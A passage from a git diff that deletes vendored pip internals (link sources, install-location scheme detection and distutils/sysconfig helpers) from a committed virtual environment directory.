-    :param canonical_name: The package's canonical name.
-
-    This function is needed since the canonicalized name does not necessarily
-    have the same length as the egg info's name part. An example::
-
-    >>> fragment = 'foo__bar-1.0'
-    >>> canonical_name = 'foo-bar'
-    >>> _find_name_version_sep(fragment, canonical_name)
-    8
-    """
-    # Project name and version must be separated by one single dash. Find all
-    # occurrences of dashes; if the string in front of it matches the canonical
-    # name, this is the one separating the name and version parts.
-    for i, c in enumerate(fragment):
-        if c != "-":
-            continue
-        if canonicalize_name(fragment[:i]) == canonical_name:
-            return i
-    raise ValueError(f"{fragment} does not match {canonical_name}")
-
-
-def _extract_version_from_fragment(fragment: str, canonical_name: str) -> str | None:
-    """Parse the version string from a + filename
-    "fragment" (stem) or egg fragment.
-
-    :param fragment: The string to parse. E.g. foo-2.1
-    :param canonical_name: The canonicalized name of the package this
-        belongs to.
-    """
-    try:
-        version_start = _find_name_version_sep(fragment, canonical_name) + 1
-    except ValueError:
-        return None
-    version = fragment[version_start:]
-    if not version:
-        return None
-    return version
diff --git a/venv/Lib/site-packages/pip/_internal/index/sources.py b/venv/Lib/site-packages/pip/_internal/index/sources.py
deleted file mode 100644
index 6e7c007301f9296f0efaa2823c964794e6425d8a..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/index/sources.py
+++ /dev/null
@@ -1,286 +0,0 @@
-from __future__ import annotations
-
-import logging
-import mimetypes
-import os
-from collections import defaultdict
-from collections.abc import Callable, Iterable
-
-from pip._vendor.packaging.utils import (
-    InvalidSdistFilename,
-    InvalidWheelFilename,
-    canonicalize_name,
-    parse_sdist_filename,
-    parse_wheel_filename,
-)
-
-from pip._internal.models.candidate import InstallationCandidate
-from pip._internal.models.link import Link
-from pip._internal.utils.urls import path_to_url, url_to_path
-from pip._internal.vcs import is_url
-
-logger = logging.getLogger(__name__)
-
-FoundCandidates = Iterable[InstallationCandidate]
-FoundLinks = Iterable[Link]
-CandidatesFromPage = Callable[[Link], Iterable[InstallationCandidate]]
-PageValidator = Callable[[Link], bool]
-
-
-class LinkSource:
-    @property
-    def link(self) -> Link | None:
-        """Returns the underlying link, if there's one."""
-        raise NotImplementedError()
-
-    def page_candidates(self) -> FoundCandidates:
-        """Candidates found by parsing an archive listing HTML file."""
-        raise NotImplementedError()
-
-    def file_links(self) -> FoundLinks:
-        """Links found by specifying archives directly."""
-        raise NotImplementedError()
-
-
-def _is_html_file(file_url: str) -> bool:
-    return mimetypes.guess_type(file_url, strict=False)[0] == "text/html"
-
-
-class _FlatDirectoryToUrls:
-    """Scans directory and caches results"""
-
-    def __init__(self, path: str) -> None:
-        self._path = path
-        self._page_candidates: list[str] = []
-        self._project_name_to_urls: dict[str, list[str]] = defaultdict(list)
-        self._scanned_directory = False
-
-    def _scan_directory(self) -> None:
-        """Scans directory once and populates both page_candidates
-        and project_name_to_urls at the same time
-        """
-        for entry in os.scandir(self._path):
-            url = path_to_url(entry.path)
-            if _is_html_file(url):
-                self._page_candidates.append(url)
-                continue
-
-            # File must have a valid wheel or sdist name,
-            # otherwise not worth considering as a package
-            try:
-                project_filename = parse_wheel_filename(entry.name)[0]
-            except InvalidWheelFilename:
-                try:
-                    project_filename = parse_sdist_filename(entry.name)[0]
-                except InvalidSdistFilename:
-                    continue
-
-            self._project_name_to_urls[project_filename].append(url)
-        self._scanned_directory = True
-
-    @property
-    def page_candidates(self) -> list[str]:
-        if not self._scanned_directory:
-            self._scan_directory()
-
-        return self._page_candidates
-
-    @property
-    def project_name_to_urls(self) -> dict[str, list[str]]:
-        if not self._scanned_directory:
-            self._scan_directory()
-
-        return self._project_name_to_urls
-
-
-class _FlatDirectorySource(LinkSource):
-    """Link source specified by ``--find-links=``.
-
-    This looks the content of the directory, and returns:
-
-    * ``page_candidates``: Links listed on each HTML file in the directory.
-    * ``file_candidates``: Archives in the directory.
-    """
-
-    _paths_to_urls: dict[str, _FlatDirectoryToUrls] = {}
-
-    def __init__(
-        self,
-        candidates_from_page: CandidatesFromPage,
-        path: str,
-        project_name: str,
-    ) -> None:
-        self._candidates_from_page = candidates_from_page
-        self._project_name = canonicalize_name(project_name)
-
-        # Get existing instance of _FlatDirectoryToUrls if it exists
-        if path in self._paths_to_urls:
-            self._path_to_urls = self._paths_to_urls[path]
-        else:
-            self._path_to_urls = _FlatDirectoryToUrls(path=path)
-            self._paths_to_urls[path] = self._path_to_urls
-
-    @property
-    def link(self) -> Link | None:
-        return None
-
-    def page_candidates(self) -> FoundCandidates:
-        for url in self._path_to_urls.page_candidates:
-            yield from self._candidates_from_page(Link(url))
-
-    def file_links(self) -> FoundLinks:
-        for url in self._path_to_urls.project_name_to_urls[self._project_name]:
-            yield Link(url)
-
-
-class _LocalFileSource(LinkSource):
-    """``--find-links=`` or ``--[extra-]index-url=``.
-
-    If a URL is supplied, it must be a ``file:`` URL. If a path is supplied to
-    the option, it is converted to a URL first. This returns:
-
-    * ``page_candidates``: Links listed on an HTML file.
-    * ``file_candidates``: The non-HTML file.
-    """
-
-    def __init__(
-        self,
-        candidates_from_page: CandidatesFromPage,
-        link: Link,
-    ) -> None:
-        self._candidates_from_page = candidates_from_page
-        self._link = link
-
-    @property
-    def link(self) -> Link | None:
-        return self._link
-
-    def page_candidates(self) -> FoundCandidates:
-        if not _is_html_file(self._link.url):
-            return
-        yield from self._candidates_from_page(self._link)
-
-    def file_links(self) -> FoundLinks:
-        if _is_html_file(self._link.url):
-            return
-        yield self._link
-
-
-class _RemoteFileSource(LinkSource):
-    """``--find-links=`` or ``--[extra-]index-url=``.
-
-    This returns:
-
-    * ``page_candidates``: Links listed on an HTML file.
-    * ``file_candidates``: The non-HTML file.
-    """
-
-    def __init__(
-        self,
-        candidates_from_page: CandidatesFromPage,
-        page_validator: PageValidator,
-        link: Link,
-    ) -> None:
-        self._candidates_from_page = candidates_from_page
-        self._page_validator = page_validator
-        self._link = link
-
-    @property
-    def link(self) -> Link | None:
-        return self._link
-
-    def page_candidates(self) -> FoundCandidates:
-        if not self._page_validator(self._link):
-            return
-        yield from self._candidates_from_page(self._link)
-
-    def file_links(self) -> FoundLinks:
-        yield self._link
-
-
-class _IndexDirectorySource(LinkSource):
-    """``--[extra-]index-url=``.
-
-    This is treated like a remote URL; ``candidates_from_page`` contains logic
-    for this by appending ``index.html`` to the link.
-    """
-
-    def __init__(
-        self,
-        candidates_from_page: CandidatesFromPage,
-        link: Link,
-    ) -> None:
-        self._candidates_from_page = candidates_from_page
-        self._link = link
-
-    @property
-    def link(self) -> Link | None:
-        return self._link
-
-    def page_candidates(self) -> FoundCandidates:
-        yield from self._candidates_from_page(self._link)
-
-    def file_links(self) -> FoundLinks:
-        return ()
-
-
-def build_source(
-    location: str,
-    *,
-    candidates_from_page: CandidatesFromPage,
-    page_validator: PageValidator,
-    expand_dir: bool,
-    cache_link_parsing: bool,
-    project_name: str,
-) -> tuple[str | None, LinkSource | None]:
-    path: str | None = None
-    url: str | None = None
-    if os.path.exists(location):  # Is a local path.
-        url = path_to_url(location)
-        path = location
-    elif location.startswith("file:"):  # A file: URL.
-        url = location
-        path = url_to_path(location)
-    elif is_url(location):
-        url = location
-
-    if url is None:
-        msg = (
-            "Location '%s' is ignored: "
-            "it is either a non-existing path or lacks a specific scheme."
-        )
-        logger.warning(msg, location)
-        return (None, None)
-
-    if path is None:
-        source: LinkSource = _RemoteFileSource(
-            candidates_from_page=candidates_from_page,
-            page_validator=page_validator,
-            link=Link(url, cache_link_parsing=cache_link_parsing),
-        )
-        return (url, source)
-
-    if os.path.isdir(path):
-        if expand_dir:
-            source = _FlatDirectorySource(
-                candidates_from_page=candidates_from_page,
-                path=path,
-                project_name=project_name,
-            )
-        else:
-            source = _IndexDirectorySource(
-                candidates_from_page=candidates_from_page,
-                link=Link(url, cache_link_parsing=cache_link_parsing),
-            )
-        return (url, source)
-    elif os.path.isfile(path):
-        source = _LocalFileSource(
-            candidates_from_page=candidates_from_page,
-            link=Link(url, cache_link_parsing=cache_link_parsing),
-        )
-        return (url, source)
-    logger.warning(
-        "Location '%s' is ignored: it is neither a file nor a directory.",
-        location,
-    )
-    return (url, None)
diff --git a/venv/Lib/site-packages/pip/_internal/locations/__init__.py b/venv/Lib/site-packages/pip/_internal/locations/__init__.py
deleted file mode 100644
index ec15d1dc704ba1fc8bd058c5f0f38b08c9be0b0f..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/locations/__init__.py
+++ /dev/null
@@ -1,438 +0,0 @@
-from __future__ import annotations
-
-import functools
-import logging
-import os
-import pathlib
-import sys
-import sysconfig
-
-from pip._internal.models.scheme import SCHEME_KEYS, Scheme
-from pip._internal.utils.compat import WINDOWS
-from pip._internal.utils.deprecation import deprecated
-from pip._internal.utils.virtualenv import running_under_virtualenv
-
-from . import _sysconfig
-from .base import (
-    USER_CACHE_DIR,
-    get_major_minor_version,
-    get_src_prefix,
-    is_osx_framework,
-    site_packages,
-    user_site,
-)
-
-__all__ = [
-    "USER_CACHE_DIR",
-    "get_bin_prefix",
-    "get_bin_user",
-    "get_major_minor_version",
-    "get_platlib",
-    "get_purelib",
-    "get_scheme",
-    "get_src_prefix",
-    "site_packages",
-    "user_site",
-]
-
-
-logger = logging.getLogger(__name__)
-
-
-_PLATLIBDIR: str = getattr(sys, "platlibdir", "lib")
-
-
-def _should_use_sysconfig() -> bool:
-    """This function determines the value of _USE_SYSCONFIG.
-
-    By default, pip uses sysconfig.
-    But Python distributors can override this decision by setting:
-        sysconfig._PIP_USE_SYSCONFIG = True / False
-    Rationale in https://github.com/pypa/pip/issues/10647
-
-    This is a function for testability, but should be constant during any one
-    run.
-    """
-    return bool(getattr(sysconfig, "_PIP_USE_SYSCONFIG", True))
-
-
-_USE_SYSCONFIG = _should_use_sysconfig()
-
-if not _USE_SYSCONFIG:
-    # Import distutils lazily to avoid deprecation warnings,
-    # but import it soon enough that it is in memory and available during
-    # a pip reinstall.
-    from . import _distutils
-
-# Be noisy about incompatibilities if this platforms "should" be using
-# sysconfig, but is explicitly opting out and using distutils instead.
-if _USE_SYSCONFIG:
-    _MISMATCH_LEVEL = logging.DEBUG
-else:
-    _MISMATCH_LEVEL = logging.WARNING
-
-
-def _looks_like_bpo_44860() -> bool:
-    """The resolution to bpo-44860 will change this incorrect platlib.
-
-    See .
-    """
-    from distutils.command.install import INSTALL_SCHEMES
-
-    try:
-        unix_user_platlib = INSTALL_SCHEMES["unix_user"]["platlib"]
-    except KeyError:
-        return False
-    return unix_user_platlib == "$usersite"
-
-
-def _looks_like_red_hat_patched_platlib_purelib(scheme: dict[str, str]) -> bool:
-    platlib = scheme["platlib"]
-    if "/$platlibdir/" in platlib:
-        platlib = platlib.replace("/$platlibdir/", f"/{_PLATLIBDIR}/")
-    if "/lib64/" not in platlib:
-        return False
-    unpatched = platlib.replace("/lib64/", "/lib/")
-    return unpatched.replace("$platbase/", "$base/") == scheme["purelib"]
-
-
-@functools.cache
-def _looks_like_red_hat_lib() -> bool:
-    """Red Hat patches platlib in unix_prefix and unix_home, but not purelib.
-
-    This is the only way I can see to tell a Red Hat-patched Python.
-    """
-    from distutils.command.install import INSTALL_SCHEMES
-
-    return all(
-        k in INSTALL_SCHEMES
-        and _looks_like_red_hat_patched_platlib_purelib(INSTALL_SCHEMES[k])
-        for k in ("unix_prefix", "unix_home")
-    )
-
-
-@functools.cache
-def _looks_like_debian_scheme() -> bool:
-    """Debian adds two additional schemes."""
-    from distutils.command.install import INSTALL_SCHEMES
-
-    return "deb_system" in INSTALL_SCHEMES and "unix_local" in INSTALL_SCHEMES
-
-
-@functools.cache
-def _looks_like_red_hat_scheme() -> bool:
-    """Red Hat patches ``sys.prefix`` and ``sys.exec_prefix``.
-
-    Red Hat's ``00251-change-user-install-location.patch`` changes the install
-    command's ``prefix`` and ``exec_prefix`` to append ``"/local"``. This is
-    (fortunately?) done quite unconditionally, so we create a default command
-    object without any configuration to detect this.
-    """
-    from distutils.command.install import install
-    from distutils.dist import Distribution
-
-    cmd = install(Distribution())
-    cmd.finalize_options()
-    return (
-        cmd.exec_prefix == f"{os.path.normpath(sys.exec_prefix)}/local"
-        and cmd.prefix == f"{os.path.normpath(sys.prefix)}/local"
-    )
-
-
-@functools.cache
-def _looks_like_slackware_scheme() -> bool:
-    """Slackware patches sysconfig but fails to patch distutils and site.
-
-    Slackware changes sysconfig's user scheme to use ``"lib64"`` for the lib
-    path, but does not do the same to the site module.
-    """
-    if user_site is None:  # User-site not available.
-        return False
-    try:
-        paths = sysconfig.get_paths(scheme="posix_user", expand=False)
-    except KeyError:  # User-site not available.
-        return False
-    return "/lib64/" in paths["purelib"] and "/lib64/" not in user_site
-
-
-@functools.cache
-def _looks_like_msys2_mingw_scheme() -> bool:
-    """MSYS2 patches distutils and sysconfig to use a UNIX-like scheme.
-
-    However, MSYS2 incorrectly patches sysconfig ``nt`` scheme. The fix is
-    likely going to be included in their 3.10 release, so we ignore the warning.
-    See msys2/MINGW-packages#9319.
-
-    MSYS2 MINGW's patch uses lowercase ``"lib"`` instead of the usual uppercase,
-    and is missing the final ``"site-packages"``.
-    """
-    paths = sysconfig.get_paths("nt", expand=False)
-    return all(
-        "Lib" not in p and "lib" in p and not p.endswith("site-packages")
-        for p in (paths[key] for key in ("platlib", "purelib"))
-    )
-
-
-@functools.cache
-def _warn_mismatched(old: pathlib.Path, new: pathlib.Path, *, key: str) -> None:
-    issue_url = "https://github.com/pypa/pip/issues/10151"
-    message = (
-        "Value for %s does not match. Please report this to <%s>"
-        "\ndistutils: %s"
-        "\nsysconfig: %s"
-    )
-    logger.log(_MISMATCH_LEVEL, message, key, issue_url, old, new)
-
-
-def _warn_if_mismatch(old: pathlib.Path, new: pathlib.Path, *, key: str) -> bool:
-    if old == new:
-        return False
-    _warn_mismatched(old, new, key=key)
-    return True
-
-
-@functools.cache
-def _log_context(
-    *,
-    user: bool = False,
-    home: str | None = None,
-    root: str | None = None,
-    prefix: str | None = None,
-) -> None:
-    parts = [
-        "Additional context:",
-        "user = %r",
-        "home = %r",
-        "root = %r",
-        "prefix = %r",
-    ]
-
-    logger.log(_MISMATCH_LEVEL, "\n".join(parts), user, home, root, prefix)
-
-
-def get_scheme(
-    dist_name: str,
-    user: bool = False,
-    home: str | None = None,
-    root: str | None = None,
-    isolated: bool = False,
-    prefix: str | None = None,
-) -> Scheme:
-    new = _sysconfig.get_scheme(
-        dist_name,
-        user=user,
-        home=home,
-        root=root,
-        isolated=isolated,
-        prefix=prefix,
-    )
-    if _USE_SYSCONFIG:
-        return new
-
-    old = _distutils.get_scheme(
-        dist_name,
-        user=user,
-        home=home,
-        root=root,
-        isolated=isolated,
-        prefix=prefix,
-    )
-
-    warning_contexts = []
-    for k in SCHEME_KEYS:
-        old_v = pathlib.Path(getattr(old, k))
-        new_v = pathlib.Path(getattr(new, k))
-
-        if old_v == new_v:
-            continue
-
-        # distutils incorrectly put PyPy packages under ``site-packages/python``
-        # in the ``posix_home`` scheme, but PyPy devs said they expect the
-        # directory name to be ``pypy`` instead. So we treat this as a bug fix
-        # and not warn about it. See bpo-43307 and python/cpython#24628.
-        skip_pypy_special_case = (
-            sys.implementation.name == "pypy"
-            and home is not None
-            and k in ("platlib", "purelib")
-            and old_v.parent == new_v.parent
-            and old_v.name.startswith("python")
-            and new_v.name.startswith("pypy")
-        )
-        if skip_pypy_special_case:
-            continue
-
-        # sysconfig's ``osx_framework_user`` does not include ``pythonX.Y`` in
-        # the ``include`` value, but distutils's ``headers`` does. We'll let
-        # CPython decide whether this is a bug or feature. See bpo-43948.
-        skip_osx_framework_user_special_case = (
-            user
-            and is_osx_framework()
-            and k == "headers"
-            and old_v.parent.parent == new_v.parent
-            and old_v.parent.name.startswith("python")
-        )
-        if skip_osx_framework_user_special_case:
-            continue
-
-        # On Red Hat and derived Linux distributions, distutils is patched to
-        # use "lib64" instead of "lib" for platlib.
-        if k == "platlib" and _looks_like_red_hat_lib():
-            continue
-
-        # sysconfig's posix_user scheme sets platlib against
-        # sys.platlibdir, but distutils's unix_user incorrectly continues
-        # using the same $usersite for both platlib and purelib. This creates a
-        # mismatch when sys.platlibdir is not "lib".
-        skip_bpo_44860 = (
-            user
-            and k == "platlib"
-            and not WINDOWS
-            and _PLATLIBDIR != "lib"
-            and _looks_like_bpo_44860()
-        )
-        if skip_bpo_44860:
-            continue
-
-        # Slackware incorrectly patches posix_user to use lib64 instead of lib,
-        # but not usersite to match the location.
-        skip_slackware_user_scheme = (
-            user
-            and k in ("platlib", "purelib")
-            and not WINDOWS
-            and _looks_like_slackware_scheme()
-        )
-        if skip_slackware_user_scheme:
-            continue
-
-        # Both Debian and Red Hat patch Python to place the system site under
-        # /usr/local instead of /usr. Debian also places lib in dist-packages
-        # instead of site-packages, but the /usr/local check should cover it.
-        skip_linux_system_special_case = (
-            not (user or home or prefix or running_under_virtualenv())
-            and old_v.parts[1:3] == ("usr", "local")
-            and len(new_v.parts) > 1
-            and new_v.parts[1] == "usr"
-            and (len(new_v.parts) < 3 or new_v.parts[2] != "local")
-            and (_looks_like_red_hat_scheme() or _looks_like_debian_scheme())
-        )
-        if skip_linux_system_special_case:
-            continue
-
-        # MSYS2 MINGW's sysconfig patch does not include the "site-packages"
-        # part of the path. This is incorrect and will be fixed in MSYS.
-        skip_msys2_mingw_bug = (
-            WINDOWS and k in ("platlib", "purelib") and _looks_like_msys2_mingw_scheme()
-        )
-        if skip_msys2_mingw_bug:
-            continue
-
-        # CPython's POSIX install script invokes pip (via ensurepip) against the
-        # interpreter located in the source tree, not the install site. This
-        # triggers special logic in sysconfig that's not present in distutils.
-        # https://github.com/python/cpython/blob/8c21941ddaf/Lib/sysconfig.py#L178-L194
-        skip_cpython_build = (
-            sysconfig.is_python_build(check_home=True)
-            and not WINDOWS
-            and k in ("headers", "include", "platinclude")
-        )
-        if skip_cpython_build:
-            continue
-
-        warning_contexts.append((old_v, new_v, f"scheme.{k}"))
-
-    if not warning_contexts:
-        return old
-
-    # Check if this path mismatch is caused by distutils config files. Those
-    # files will no longer work once we switch to sysconfig, so this raises a
-    # deprecation message for them.
-    default_old = _distutils.distutils_scheme(
-        dist_name,
-        user,
-        home,
-        root,
-        isolated,
-        prefix,
-        ignore_config_files=True,
-    )
-    if any(default_old[k] != getattr(old, k) for k in SCHEME_KEYS):
-        deprecated(
-            reason=(
-                "Configuring installation scheme with distutils config files "
-                "is deprecated and will no longer work in the near future. If you "
-                "are using a Homebrew or Linuxbrew Python, please see discussion "
-                "at https://github.com/Homebrew/homebrew-core/issues/76621"
-            ),
-            replacement=None,
-            gone_in=None,
-        )
-        return old
-
-    # Post warnings about this mismatch so user can report them back.
-    for old_v, new_v, key in warning_contexts:
-        _warn_mismatched(old_v, new_v, key=key)
-    _log_context(user=user, home=home, root=root, prefix=prefix)
-
-    return old
-
-
-def get_bin_prefix() -> str:
-    new = _sysconfig.get_bin_prefix()
-    if _USE_SYSCONFIG:
-        return new
-
-    old = _distutils.get_bin_prefix()
-    if _warn_if_mismatch(pathlib.Path(old), pathlib.Path(new), key="bin_prefix"):
-        _log_context()
-    return old
-
-
-def get_bin_user() -> str:
-    return _sysconfig.get_scheme("", user=True).scripts
-
-
-def _looks_like_deb_system_dist_packages(value: str) -> bool:
-    """Check if the value is Debian's APT-controlled dist-packages.
-
-    Debian's ``distutils.sysconfig.get_python_lib()`` implementation returns the
-    default package path controlled by APT, but does not patch ``sysconfig`` to
-    do the same. This is similar to the bug worked around in ``get_scheme()``,
-    but here the default is ``deb_system`` instead of ``unix_local``. Ultimately
-    we can't do anything about this Debian bug, and this detection allows us to
-    skip the warning when needed.
-    """
-    if not _looks_like_debian_scheme():
-        return False
-    if value == "/usr/lib/python3/dist-packages":
-        return True
-    return False
-
-
-def get_purelib() -> str:
-    """Return the default pure-Python lib location."""
-    new = _sysconfig.get_purelib()
-    if _USE_SYSCONFIG:
-        return new
-
-    old = _distutils.get_purelib()
-    if _looks_like_deb_system_dist_packages(old):
-        return old
-    if _warn_if_mismatch(pathlib.Path(old), pathlib.Path(new), key="purelib"):
-        _log_context()
-    return old
-
-
-def get_platlib() -> str:
-    """Return the default platform-shared lib location."""
-    new = _sysconfig.get_platlib()
-    if _USE_SYSCONFIG:
-        return new
-
-    from . import _distutils
-
-    old = _distutils.get_platlib()
-    if _looks_like_deb_system_dist_packages(old):
-        return old
-    if _warn_if_mismatch(pathlib.Path(old), pathlib.Path(new), key="platlib"):
-        _log_context()
-    return old
diff --git a/venv/Lib/site-packages/pip/_internal/locations/_distutils.py b/venv/Lib/site-packages/pip/_internal/locations/_distutils.py
deleted file mode 100644
index 28c066bcee64e9965d52a72092a144a5225456f6..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/locations/_distutils.py
+++ /dev/null
@@ -1,173 +0,0 @@
-"""Locations where we look for configs, install stuff, etc"""
-
-# The following comment should be removed at some point in the future.
-# mypy: strict-optional=False
-
-# If pip's going to use distutils, it should not be using the copy that setuptools
-# might have injected into the environment. This is done by removing the injected
-# shim, if it's injected.
-#
-# See https://github.com/pypa/pip/issues/8761 for the original discussion and
-# rationale for why this is done within pip.
-from __future__ import annotations
-
-try:
-    __import__("_distutils_hack").remove_shim()
-except (ImportError, AttributeError):
-    pass
-
-import logging
-import os
-import sys
-from distutils.cmd import Command as DistutilsCommand
-from distutils.command.install import SCHEME_KEYS
-from distutils.command.install import install as distutils_install_command
-from distutils.sysconfig import get_python_lib
-
-from pip._internal.models.scheme import Scheme
-from pip._internal.utils.compat import WINDOWS
-from pip._internal.utils.virtualenv import running_under_virtualenv
-
-from .base import get_major_minor_version
-
-logger = logging.getLogger(__name__)
-
-
-def distutils_scheme(
-    dist_name: str,
-    user: bool = False,
-    home: str | None = None,
-    root: str | None = None,
-    isolated: bool = False,
-    prefix: str | None = None,
-    *,
-    ignore_config_files: bool = False,
-) -> dict[str, str]:
-    """
-    Return a distutils install scheme
-    """
-    from distutils.dist import Distribution
-
-    dist_args: dict[str, str | list[str]] = {"name": dist_name}
-    if isolated:
-        dist_args["script_args"] = ["--no-user-cfg"]
-
-    d = Distribution(dist_args)
-    if not ignore_config_files:
-        try:
-            d.parse_config_files()
-        except UnicodeDecodeError:
-            paths = d.find_config_files()
-            logger.warning(
-                "Ignore distutils configs in %s due to encoding errors.",
-                ", ".join(os.path.basename(p) for p in paths),
-            )
-    obj: DistutilsCommand | None = None
-    obj = d.get_command_obj("install", create=True)
-    assert obj is not None
-    i: distutils_install_command = obj
-    # NOTE: setting user or home has the side-effect of creating the home dir
-    # or user base for installations during finalize_options()
-    # ideally, we'd prefer a scheme class that has no side-effects.
-    assert not (user and prefix), f"user={user} prefix={prefix}"
-    assert not (home and prefix), f"home={home} prefix={prefix}"
-    i.user = user or i.user
-    if user or home:
-        i.prefix = ""
-    i.prefix = prefix or i.prefix
-    i.home = home or i.home
-    i.root = root or i.root
-    i.finalize_options()
-
-    scheme: dict[str, str] = {}
-    for key in SCHEME_KEYS:
-        scheme[key] = getattr(i, "install_" + key)
-
-    # install_lib specified in setup.cfg should install *everything*
-    # into there (i.e. it takes precedence over both purelib and
-    # platlib).  Note, i.install_lib is *always* set after
-    # finalize_options(); we only want to override here if the user
-    # has explicitly requested it hence going back to the config
-    if "install_lib" in d.get_option_dict("install"):
-        scheme.update({"purelib": i.install_lib, "platlib": i.install_lib})
-
-    if running_under_virtualenv():
-        if home:
-            prefix = home
-        elif user:
-            prefix = i.install_userbase
-        else:
-            prefix = i.prefix
-        scheme["headers"] = os.path.join(
-            prefix,
-            "include",
-            "site",
-            f"python{get_major_minor_version()}",
-            dist_name,
-        )
-
-        if root is not None:
-            path_no_drive = os.path.splitdrive(os.path.abspath(scheme["headers"]))[1]
-            scheme["headers"] = os.path.join(root, path_no_drive[1:])
-
-    return scheme
-
-
-def get_scheme(
-    dist_name: str,
-    user: bool = False,
-    home: str | None = None,
-    root: str | None = None,
-    isolated: bool = False,
-    prefix: str | None = None,
-) -> Scheme:
-    """
-    Get the "scheme" corresponding to the input parameters. The distutils
-    documentation provides the context for the available schemes:
-    https://docs.python.org/3/install/index.html#alternate-installation
-
-    :param dist_name: the name of the package to retrieve the scheme for, used
-        in the headers scheme path
-    :param user: indicates to use the "user" scheme
-    :param home: indicates to use the "home" scheme and provides the base
-        directory for the same
-    :param root: root under which other directories are re-based
-    :param isolated: equivalent to --no-user-cfg, i.e. do not consider
-        ~/.pydistutils.cfg (posix) or ~/pydistutils.cfg (non-posix) for
-        scheme paths
-    :param prefix: indicates to use the "prefix" scheme and provides the
-        base directory for the same
-    """
-    scheme = distutils_scheme(dist_name, user, home, root, isolated, prefix)
-    return Scheme(
-        platlib=scheme["platlib"],
-        purelib=scheme["purelib"],
-        headers=scheme["headers"],
-        scripts=scheme["scripts"],
-        data=scheme["data"],
-    )
-
-
-def get_bin_prefix() -> str:
-    # XXX: In old virtualenv versions, sys.prefix can contain '..' components,
-    # so we need to call normpath to eliminate them.
-    prefix = os.path.normpath(sys.prefix)
-    if WINDOWS:
-        bin_py = os.path.join(prefix, "Scripts")
-        # buildout uses 'bin' on Windows too?
-        if not os.path.exists(bin_py):
-            bin_py = os.path.join(prefix, "bin")
-        return bin_py
-    # Forcing to use /usr/local/bin for standard macOS framework installs
-    # Also log to ~/Library/Logs/ for use with the Console.app log viewer
-    if sys.platform[:6] == "darwin" and prefix[:16] == "/System/Library/":
-        return "/usr/local/bin"
-    return os.path.join(prefix, "bin")
-
-
-def get_purelib() -> str:
-    return get_python_lib(plat_specific=False)
-
-
-def get_platlib() -> str:
-    return get_python_lib(plat_specific=True)
diff --git a/venv/Lib/site-packages/pip/_internal/locations/_sysconfig.py b/venv/Lib/site-packages/pip/_internal/locations/_sysconfig.py
deleted file mode 100644
index 129dd11ee545f920e86305c360c7bfb1a76e99a9..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/locations/_sysconfig.py
+++ /dev/null
@@ -1,218 +0,0 @@
-from __future__ import annotations
-
-import logging
-import os
-import sys
-import sysconfig
-from collections.abc import Callable
-
-from pip._internal.exceptions import InvalidSchemeCombination, UserInstallationInvalid
-from pip._internal.models.scheme import SCHEME_KEYS, Scheme
-from pip._internal.utils.virtualenv import running_under_virtualenv
-
-from .base import change_root, get_major_minor_version, is_osx_framework
-
-logger = logging.getLogger(__name__)
-
-
-# Notes on _infer_* functions.
-# Unfortunately ``get_default_scheme()`` didn't exist before 3.10, so there's no
-# way to ask things like "what is the '_prefix' scheme on this platform". These
-# functions try to answer that with some heuristics while accounting for ad-hoc
-# platforms not covered by CPython's default sysconfig implementation. If the
-# ad-hoc implementation does not fully implement sysconfig, we'll fall back to
-# a POSIX scheme.
-
-_AVAILABLE_SCHEMES = set(sysconfig.get_scheme_names())
-
-_PREFERRED_SCHEME_API: Callable[[str], str] | None = getattr(
-    sysconfig, "get_preferred_scheme", None
-)
-
-
-def _should_use_osx_framework_prefix() -> bool:
-    """Check for Apple's ``osx_framework_library`` scheme.
-
-    Python distributed by Apple's Command Line Tools has this special scheme
-    that's used when:
-
-    * This is a framework build.
-    * We are installing into the system prefix.
-
-    This does not account for ``pip install --prefix`` (also means we're not
-    installing to the system prefix), which should use ``posix_prefix``, but
-    logic here means ``_infer_prefix()`` outputs ``osx_framework_library``. But
-    since ``prefix`` is not available for ``sysconfig.get_default_scheme()``,
-    which is the stdlib replacement for ``_infer_prefix()``, presumably Apple
-    wouldn't be able to magically switch between ``osx_framework_library`` and
-    ``posix_prefix``. ``_infer_prefix()`` returning ``osx_framework_library``
-    means its behavior is consistent whether we use the stdlib implementation
-    or our own, and we deal with this special case in ``get_scheme()`` instead.
-    """
-    return (
-        "osx_framework_library" in _AVAILABLE_SCHEMES
-        and not running_under_virtualenv()
-        and is_osx_framework()
-    )
-
-
-def _infer_prefix() -> str:
-    """Try to find a prefix scheme for the current platform.
-
-    This tries:
-
-    * A special ``osx_framework_library`` for Python distributed by Apple's
-      Command Line Tools, when not running in a virtual environment.
-    * Implementation + OS, used by PyPy on Windows (``pypy_nt``).
-    * Implementation without OS, used by PyPy on POSIX (``pypy``).
-    * OS + "prefix", used by CPython on POSIX (``posix_prefix``).
-    * Just the OS name, used by CPython on Windows (``nt``).
-
-    If none of the above works, fall back to ``posix_prefix``.
-    """
-    if _PREFERRED_SCHEME_API:
-        return _PREFERRED_SCHEME_API("prefix")
-    if _should_use_osx_framework_prefix():
-        return "osx_framework_library"
-    implementation_suffixed = f"{sys.implementation.name}_{os.name}"
-    if implementation_suffixed in _AVAILABLE_SCHEMES:
-        return implementation_suffixed
-    if sys.implementation.name in _AVAILABLE_SCHEMES:
-        return sys.implementation.name
-    suffixed = f"{os.name}_prefix"
-    if suffixed in _AVAILABLE_SCHEMES:
-        return suffixed
-    if os.name in _AVAILABLE_SCHEMES:  # On Windows, prefx is just called "nt".
-        return os.name
-    return "posix_prefix"
-
-
-def _infer_user() -> str:
-    """Try to find a user scheme for the current platform."""
-    if _PREFERRED_SCHEME_API:
-        return _PREFERRED_SCHEME_API("user")
-    if is_osx_framework() and not running_under_virtualenv():
-        suffixed = "osx_framework_user"
-    else:
-        suffixed = f"{os.name}_user"
-    if suffixed in _AVAILABLE_SCHEMES:
-        return suffixed
-    if "posix_user" not in _AVAILABLE_SCHEMES:  # User scheme unavailable.
-        raise UserInstallationInvalid()
-    return "posix_user"
-
-
-def _infer_home() -> str:
-    """Try to find a home for the current platform."""
-    if _PREFERRED_SCHEME_API:
-        return _PREFERRED_SCHEME_API("home")
-    suffixed = f"{os.name}_home"
-    if suffixed in _AVAILABLE_SCHEMES:
-        return suffixed
-    return "posix_home"
-
-
-# Update these keys if the user sets a custom home.
-_HOME_KEYS = [
-    "installed_base",
-    "base",
-    "installed_platbase",
